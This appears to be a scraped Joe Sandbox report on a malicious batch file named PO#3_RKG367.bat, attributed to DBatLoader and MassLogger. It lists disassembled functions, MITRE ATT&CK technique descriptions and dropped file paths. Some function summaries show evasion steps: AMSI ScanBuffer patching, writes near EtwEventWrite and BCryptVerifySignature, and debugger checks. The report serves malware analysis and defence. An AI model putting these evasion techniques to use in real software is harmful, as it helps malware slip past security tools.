String ID: Advapi$BCryptVerifySignature$C:\Windows\System32\$CreateProcessA$CreateProcessAsUserA$CreateProcessAsUserW$CreateProcessW$CreateProcessWithLogonW$CryptSIPVerifyIndirectData$DllGetClassObject$DlpCheckIsCloudSyncApp$DlpGetArchiveFileTraceInfo$DlpGetWebSiteAccess$DlpNotifyPreDragDrop$EnumProcessModules$EnumServicesStatusA$EnumServicesStatusExA$EnumServicesStatusExW$EnumServicesStatusW$EtwEventWrite$EtwEventWriteEx$FlushInstructionCache$GetProcessMemoryInfo$I_QueryTagInformation$Initialize$Kernel32$LdrGetProcedureAddress$LdrLoadDll$MiniDumpReadDumpStream$MiniDumpWriteDump$NtAccessCheck$NtAlertResumeThread$NtCreateSection$NtDeviceIoControlFile$NtGetWriteWatch$NtMapViewOfSection$NtOpenFile$NtOpenObjectAuditAlarm$NtOpenProcess$NtOpenSection$NtQueryDirectoryFile$NtQueryInformationThread$NtQuerySecurityObject$NtQuerySystemInformation$NtQueryVirtualMemory$NtReadVirtualMemory$NtSetSecurityObject$NtWaitForSingleObject$NtWriteVirtualMemory$Ntdll$OpenProcess$OpenSession$RetailTracerEnable$RtlAllocateHeap$RtlCreateQueryDebugBuffer$RtlQueryProcessDebugInformation$SLGatherMigrationBlob$SLGetEncryptedPIDEx$SLGetGenuineInformation$SLGetSLIDList$SLIsGenuineLocalEx$SLLoadApplicationPolicies$ScanBuffer$ScanString$SetUnhandledExceptionFilter$SxTracerGetThreadContextDebug$UacInitialize$UacScan$VirtualAlloc$VirtualAllocEx$VirtualProtect$WriteVirtualMemory$advapi32$bcrypt$dbgcore$endpointdlp$kernel32$mssip32$ntdll$psapi$psapi$spp$sppc$sppwmi$tquery
API String ID: 376050052-1225450241
Opcode ID: d7f7e2aab98d62c24dd219a65365e94d45fd3f6989bff3d0145db98c8df30b4a
Instruction ID: 72caa14c5d586906247aafc2d04bc1ed1ff837b24eeda661c5fd743d60ed496f
Opcode Fuzzy Hash: d7f7e2aab98d62c24dd219a65365e94d45fd3f6989bff3d0145db98c8df30b4a
Instruction Fuzzy Hash: 4F432F75A40558CBCF12EB64DDA09DEB3B6FF88304F6044E6E00AE7755DA319E868F60

Function 02DB1727 Relevance: 9.0, APIs: 7, Instructions: 288
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000000), ref: 02DB17D0
Sleep.KERNEL32(0000000A,00000000), ref: 02DB17E6

Memory Dump Source

Source File: 00000019.00000002.2789426246.0000000002DB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02DB1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_2db1000_Oupzhkpr.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 93dd8b1147b81eb26ffd6abc01c4cdefdc8ab14c245915b85b85c3b8a0092b87
Instruction ID: 148744882981c3f804f5590f8be72e44315ae163ba06113d4216621c7d52b6f2
Opcode Fuzzy Hash: 93dd8b1147b81eb26ffd6abc01c4cdefdc8ab14c245915b85b85c3b8a0092b87
Instruction Fuzzy Hash: 3EB11276A40351CBDB168F29D4E0395BBE1EF85310F1C8ABDD55A8B388C771E892CB90

Function 02DC87A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 40
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(?,?), ref: 02DC87B4
GetProcAddress.KERNEL32(02E11390,BCryptVerifySignature), ref: 02DC87CE
FreeLibrary.KERNEL32(02E11390,02E11390,BCryptVerifySignature,bcrypt,?,02E113D0,00000000,02E113A4,02DCA3C7,ScanString,02E113A4,02DCA77C,ScanBuffer,02E113A4,02DCA77C,Initialize), ref: 02DC880A

Part of subcall function 02DC7D00: NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 02DC7D74

Strings

BCryptVerifySignature, xrefs: 02DC87C7
bcrypt, xrefs: 02DC87B3

Memory Dump Source

Source File: 00000019.00000002.2789426246.0000000002DB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02DB1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_2db1000_Oupzhkpr.jbxd

Similarity

API ID: Library$AddressFreeLoadMemoryProcVirtualWrite
String ID: BCryptVerifySignature$bcrypt
API String ID: 1002360270-4067648912
Opcode ID: fbee287345105851f4fd6b04cacf306306dd51a6bb9401f5035a5eb8596ad5d1
Instruction ID: 5669723578ff26bc80b0616b4439fd5ad431daafc5c968b178b2421c742df332
Opcode Fuzzy Hash: fbee287345105851f4fd6b04cacf306306dd51a6bb9401f5035a5eb8596ad5d1
Instruction Fuzzy Hash: BAF0A471EC025C9EEB119E6AA844FB6739CDB44354F52093DB30E8FA48C7704C90CB60

Function 02DC870C Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 35
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(amsi), ref: 02DC8715

Part of subcall function 02DC80C8: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02DC811B
Part of subcall function 02DC80C8: GetProcAddress.KERNEL32(?,?), ref: 02DC812D

Part of subcall function 02DC7D00: NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 02DC7D74

FreeLibrary.KERNEL32(00000000,00000000,?,?,00000006,?,?,000003E7,00000040,?,00000000,DllGetClassObject), ref: 02DC8774

Strings

amsi, xrefs: 02DC8710
W, xrefs: 02DC8721
DllGetClassObject, xrefs: 02DC873A

Memory Dump Source

Source File: 00000019.00000002.2789426246.0000000002DB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02DB1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_2db1000_Oupzhkpr.jbxd

Similarity

API ID: AddressLibraryProc$FreeLoadMemoryVirtualWrite
String ID: DllGetClassObject$W$amsi
API String ID: 2980007069-2671292670
Opcode ID: 7620dc9f238aae5b3fbfebb65a3e59fa0fe7b92f4717741d7b58d382de8f491c
Instruction ID: d236b8d27e9645079aaa4e86fed0dac23fd57e8ba37026efced9eb29caaf7971
Opcode Fuzzy Hash: 7620dc9f238aae5b3fbfebb65a3e59fa0fe7b92f4717741d7b58d382de8f491c
Instruction Fuzzy Hash: 1DF0815050C382B9E202A6748C45F4BAACD8B52224F148B5CF1A8973D2D675D5049BB7

Function 02DCEBF0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 28
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(KernelBase), ref: 02DCEC00
GetProcAddress.KERNEL32(00000000,CheckRemoteDebuggerPresent), ref: 02DCEC12
CheckRemoteDebuggerPresent.KERNEL32(FFFFFFFF,?,00000000,CheckRemoteDebuggerPresent,KernelBase), ref: 02DCEC29

Strings

CheckRemoteDebuggerPresent, xrefs: 02DCEC0C
KernelBase, xrefs: 02DCEBFB

Memory Dump Source

Source File: 00000019.00000002.2789426246.0000000002DB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02DB1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_2db1000_Oupzhkpr.jbxd

Similarity

API ID: AddressCheckDebuggerHandleModulePresentProcRemote
String ID: CheckRemoteDebuggerPresent$KernelBase
API String ID: 35162468-539270669
Opcode ID: 8abcaacf3c5cf33c8753ed07399825ac3971706a46700a2c8a894639f7e61eff
Instruction ID: b6c3d5fb154a47ddb46f84cf4e6dcd2080422498e3e5279304ef965a3bbe3d4d
Opcode Fuzzy Hash: 8abcaacf3c5cf33c8753ed07399825ac3971706a46700a2c8a894639f7e61eff
Instruction Fuzzy Hash: 08F0A7B090428DAAD722A7B8C9897DCFBA99B05338F7403D8D425632C1E7750E44C6A1

Function 02DB1A8F Relevance: 7.7, APIs: 6, Instructions: 173
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000000), ref: 02DB1B17
Sleep.KERNEL32(0000000A,00000000), ref: 02DB1B31

Memory Dump Source

Source File: 00000019.00000002.2789426246.0000000002DB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02DB1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_2db1000_Oupzhkpr.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 054b4bb23c5f36c673fbaa28c62c2e7de51d71d3cb7f42a7672513bf650fad42
Instruction ID: 7a8c1a16f65d6dab4942cbc0d6797e7d5416a2f0f11c58b3a29814df84489317
Opcode Fuzzy Hash: 054b4bb23c5f36c673fbaa28c62c2e7de51d71d3cb7f42a7672513bf650fad42
Instruction Fuzzy Hash: 6251BF71A44240CFEB16CB69C9B4796BBD0EF46314F1885AED44A8B386D760DC86CBA1

Function 02DB4168 Relevance: 3.1, APIs: 2, Instructions: 125COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.2789426246.0000000002DB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02DB1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_2db1000_Oupzhkpr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 596ac98dc3f8c4c84974893d5c47ac619c7167a9f776b6940c53c6b7f307908e
Instruction ID: ec40d437c9425ac900d41ea0ecbc17db4849dc6407886d8c6be4a46bbd97f02f
Opcode Fuzzy Hash: 596ac98dc3f8c4c84974893d5c47ac619c7167a9f776b6940c53c6b7f307908e
Instruction Fuzzy Hash: 98414875C81204DBDB16DF29E4B47AA3BA5EF45314FA88869E80687346C7709CE1CF61

Function 02DC8824 Relevance: 1.6, APIs: 1, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 02DC8020: GetModuleHandleA.KERNELBASE(?), ref: 02DC8072

Part of subcall function 02DC80C8: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02DC811B
Part of subcall function 02DC80C8: GetProcAddress.KERNEL32(?,?), ref: 02DC812D

Part of subcall function 02DC7D00: NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 02DC7D74

FreeLibrary.KERNEL32(02E11384,00000000,02E11388,Function_000055D8,00000004,02E11398,02E11388,05F5E0FF,00000040,02E1139C,02E11384,00000000,00000000,00000000,00000000,02DC890B), ref: 02DC88EB

Memory Dump Source

Source File: 00000019.00000002.2789426246.0000000002DB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02DB1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_2db1000_Oupzhkpr.jbxd

Similarity

API ID: AddressProc$FreeHandleLibraryMemoryModuleVirtualWrite
String ID:
API String ID: 3430646871-0
Opcode ID: 8c5b07dafb7070891b8d95f99f6cbf0ce916d53228e142077d16e7fb7287d61d
Instruction ID: 7d2d3462b4a4d88f16e1ad8ae99de26ab9defa03f0d744ad9db21fa7f9f9b96e
Opcode Fuzzy Hash: 8c5b07dafb7070891b8d95f99f6cbf0ce916d53228e142077d16e7fb7287d61d
Instruction Fuzzy Hash: 0811B770680304EBEF02FBA5D822E9E77ADDF45710F914578720AE7B45CA349D505F60

Function 02DB5814 Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(026E1B20,?,00000105), ref: 02DB5832

Part of subcall function 02DB5A78: GetModuleFileNameA.KERNEL32(00000000,?,00000105), ref: 02DB5A94
Part of subcall function 02DB5A78: RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 02DB5AB2
Part of subcall function 02DB5A78: RegOpenKeyExA.ADVAPI32(80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 02DB5AD0
Part of subcall function 02DB5A78: RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000), ref: 02DB5AEE
Part of subcall function 02DB5A78: RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,00000000,00000005,00000000,02DB5B7D,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?), ref: 02DB5B37
Part of subcall function 02DB5A78: RegQueryValueExA.ADVAPI32(?,02DB5CE4,00000000,00000000,00000000,00000005,?,?,00000000,00000000,00000000,00000005,00000000,02DB5B7D,?,80000001), ref: 02DB5B55
Part of subcall function 02DB5A78: RegCloseKey.ADVAPI32(?,02DB5B84,00000000,00000000,00000005,00000000,02DB5B7D,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 02DB5B77

Memory Dump Source

Source File: 00000019.00000002.2789426246.0000000002DB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02DB1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_2db1000_Oupzhkpr.jbxd

Similarity

API ID: Open$FileModuleNameQueryValue$Close
String ID:
API String ID: 2796650324-0
Opcode ID: 8d2262c70beaae2bbfdede8a2f275eb551cfb6ca49d82510be69373b1f735333
Instruction ID: 0a98ba91a22c03908e992f650fcba0e3d9090d442b0e243d7572f9dbb07da741
Opcode Fuzzy Hash: 8d2262c70beaae2bbfdede8a2f275eb551cfb6ca49d82510be69373b1f735333
Instruction Fuzzy Hash: E8E06571A00214CBCB11DE6C98D0A8637D8AF08B94F8009A5EC5ADF34AD3B0ED208BE0

Function 02DB7E3C Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,02DD2A49,ScanString,02E0CE80,02DDAFD8,OpenSession,02E0CE80,02DDAFD8,ScanBuffer,02E0CE80,02DDAFD8,OpenSession,02E0CE80,02DDAFD8,Initialize), ref: 02DB7E47

Memory Dump Source

Source File: 00000019.00000002.2789426246.0000000002DB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02DB1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_2db1000_Oupzhkpr.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 918f298baab567261b01832f852b415502b6f9a037000ea6829b55bd1045afca
Instruction ID: 7dd45264eaf03e908a8405adfaea8bb6da53d7500910518f32cb71eebff473ed
Opcode Fuzzy Hash: 918f298baab567261b01832f852b415502b6f9a037000ea6829b55bd1045afca
Instruction Fuzzy Hash: 18C08CA66022068F6F62A2FC1CE02DA42CA8E88534BA01B31E03AD63C2D311DC222420

Function 02DDBB50 Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

timeSetEvent.WINMM(?,00000000), ref: 02DDBB60

Memory Dump Source

Source File: 00000019.00000002.2789426246.0000000002DB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02DB1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_2db1000_Oupzhkpr.jbxd

Similarity

API ID: Eventtime
String ID:
API String ID: 2982266575-0
Opcode ID: a3644a37415c9ce226de77cd21f88448b47dcb5f59ad4de5147687fd09ce9313
Instruction ID: 6b8a69062ffb6dfb0a3aa20ff8c5288353764f7eff23367c48eee31af79f27d7
Opcode Fuzzy Hash: a3644a37415c9ce226de77cd21f88448b47dcb5f59ad4de5147687fd09ce9313
Instruction Fuzzy Hash: C7C092F0B913007EF62056A81CD2F63A1CDF704B09F610412BA01EE3D6D5E24C600A38

Function 02DB4BE4 Relevance: 1.5, APIs: 1, Instructions: 10memoryCOMMON

Download Yara Rule

APIs

SysAllocStringLen.OLEAUT32(00000000,?), ref: 02DB4BEB

Memory Dump Source

Source File: 00000019.00000002.2789426246.0000000002DB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02DB1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_2db1000_Oupzhkpr.jbxd

Similarity

API ID: AllocString
String ID:
API String ID: 2525500382-0
Opcode ID: db6a3f861f0a6b35b86245416a4c288905a5a0e602f748b147a7570e0d217214
Instruction ID: 736b5de74196028e15403c0caa30d2693662dc39a8be7f03bd93c173f1d749ba
Opcode Fuzzy Hash: db6a3f861f0a6b35b86245416a4c288905a5a0e602f748b147a7570e0d217214
Instruction Fuzzy Hash: 65B09228648202D8EA1691620D31BF2008C4F5068AF8400A19F6BC8381EB00CC00C83A

Function 02DB4BFC Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(00000000), ref: 02DB4C03

Memory Dump Source

Source File: 00000019.00000002.2789426246.0000000002DB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02DB1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_2db1000_Oupzhkpr.jbxd

Similarity

API ID: FreeString
String ID:
API String ID: 3341692771-0
Opcode ID: 6fc0f88f0b4d12cbeda0546aa3c9b2a61d9b338520cfab902635a24ef7a42f2a
Instruction ID: ac5c435cc18653b664f204761055910ce4940443d5b6787e1c93f0c25b3211f9
Opcode Fuzzy Hash: 6fc0f88f0b4d12cbeda0546aa3c9b2a61d9b338520cfab902635a24ef7a42f2a
Instruction Fuzzy Hash: 6BA011A88002028A8E0B222800300AA2032AEE0A02B8AC0A800020A2008A2A8800A838

Function 02DB1682 Relevance: 1.3, APIs: 1, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00101000,00000004), ref: 02DB16A4

Memory Dump Source

Source File: 00000019.00000002.2789426246.0000000002DB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02DB1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_2db1000_Oupzhkpr.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 1e287d79e3f341764a96a7a1c5ead6ed56b39d1b8237514d6fbd5c8916ae9d81
Instruction ID: 0b136c7677bf846cffec902dff147e69f61bf464813999b24a3215bce490b28b
Opcode Fuzzy Hash: 1e287d79e3f341764a96a7a1c5ead6ed56b39d1b8237514d6fbd5c8916ae9d81
Instruction Fuzzy Hash: 5DF090B2A80795ABD712AF5ADC90782BB94FF00314F454139F94897340D770EC90CBD4

Function 02DB16E6 Relevance: 1.3, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000), ref: 02DB1704

Memory Dump Source

Source File: 00000019.00000002.2789426246.0000000002DB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02DB1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_2db1000_Oupzhkpr.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: a7e77cd9f554437f4d0eb2781b761697678b3a9a335b5248c624b8d6e7d5ac83
Instruction ID: 8d650c853030fb67b06184682e4669ecc40753832e2855baeaa2068a7098ec79
Opcode Fuzzy Hash: a7e77cd9f554437f4d0eb2781b761697678b3a9a335b5248c624b8d6e7d5ac83
Instruction Fuzzy Hash: 5FE0DF71300300EFE7105A3D4C607926AC8EF44620F244575F54ACB3C1C2A0DC108B20

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute malicious payloads via loading shared modules. Shared modules are executable files that are loaded into processes to provide access to reusable code, such as specific custom functions or invoking OS API functions (i.e., Native API ).
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report PO#3_RKG367.bat

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: DBatLoader

Threatname: MassLogger

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\Public\Libraries\FX.cmd

C:\Users\Public\Libraries\NEO.cmd

